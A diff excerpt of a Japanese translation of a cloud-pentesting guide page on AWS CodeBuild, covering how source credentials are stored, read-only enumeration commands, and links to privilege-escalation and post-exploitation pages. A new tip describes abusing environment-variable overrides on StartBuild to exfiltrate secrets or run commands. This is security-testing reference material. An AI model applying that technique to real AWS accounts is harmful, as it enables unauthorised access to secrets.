AWS CodeBuild は他の AWS サービスとシームレスに統合され、CI/CD(継続的インテグレーション/継続的デプロイ)パイプラインの効率性と信頼性を向上させます。
|
||||
|
||||
### **Github/Gitlab/Bitbucket 認証情報**
|
||||
|
||||
#### **デフォルトのソース認証情報**
|
||||
#### **Default source credentials**
|
||||
|
||||
これは、いくつかの **アクセス** (Github トークンやアプリなど) を構成できるレガシーオプションであり、これによりすべてのコードビルドプロジェクトがこの構成された認証情報セットを使用できるようになります。
|
||||
これはレガシーなオプションで、Github トークンやアプリのような一部の**アクセス**を設定して、**CodeBuild プロジェクト間で共有**できるため、すべてのプロジェクトがこの設定済みの認証情報を使用できます。
|
||||
|
||||
保存された認証情報 (トークン、パスワード...) は **codebuild によって管理され**、AWS API からそれらを取得する公的な方法はありません。
|
||||
保存された認証情報(トークン、パスワード…)は **CodeBuild によって管理されており**、AWS API からそれらを取得する公開の方法はありません。
|
||||
|
||||
#### カスタムソース認証情報
|
||||
#### Custom source credential
|
||||
|
||||
リポジトリプラットフォーム (Github、Gitlab、Bitbucket) に応じて、異なるオプションが提供されます。しかし一般的に、**トークンやパスワードを保存する必要があるオプションは、シークレットマネージャーにシークレットとして保存されます**。
|
||||
リポジトリプラットフォーム(Github、Gitlab、Bitbucket)に応じて異なるオプションが提供されます。しかし一般的に、トークンやパスワードを保存する必要があるオプションは、**secrets manager にシークレットとして保存されます**。
|
||||
|
||||
これにより、**異なるコードビルドプロジェクトが異なる構成されたアクセスをプロバイダーに使用できる**ようになり、単に構成されたデフォルトのものを使用するだけではなくなります。
|
||||
これにより、**異なる CodeBuild プロジェクトがプロバイダに対して異なる設定済みのアクセスを使用できる**ようになり、単にデフォルトの設定を使うだけではなくなります。
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
@@ -47,27 +47,30 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
### プライベート昇格
|
||||
> [!TIP]
|
||||
> `codebuild:StartBuild` を持っている場合、ビルド時に環境変数を上書きできることが多いことを覚えておいてください(`--environment-variables-override`)。これは `UpdateProject` や `buildspec` の上書きがなくても一部の攻撃に十分です(例えば:artifact/upload バケットをリダイレクトしてシークレットを exfiltrate する、あるいは language/runtime の env vars を悪用してコマンドを実行する)。
|
||||
|
||||
次のページでは、**codebuildの権限を悪用して特権を昇格させる方法**を確認できます:
|
||||
### Privesc
|
||||
|
||||
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### ポストエクスプロイト
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-codebuild-post-exploitation/
|
||||
{{#endref}}
|
||||
|
||||
### 認証されていないアクセス
|
||||
### Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user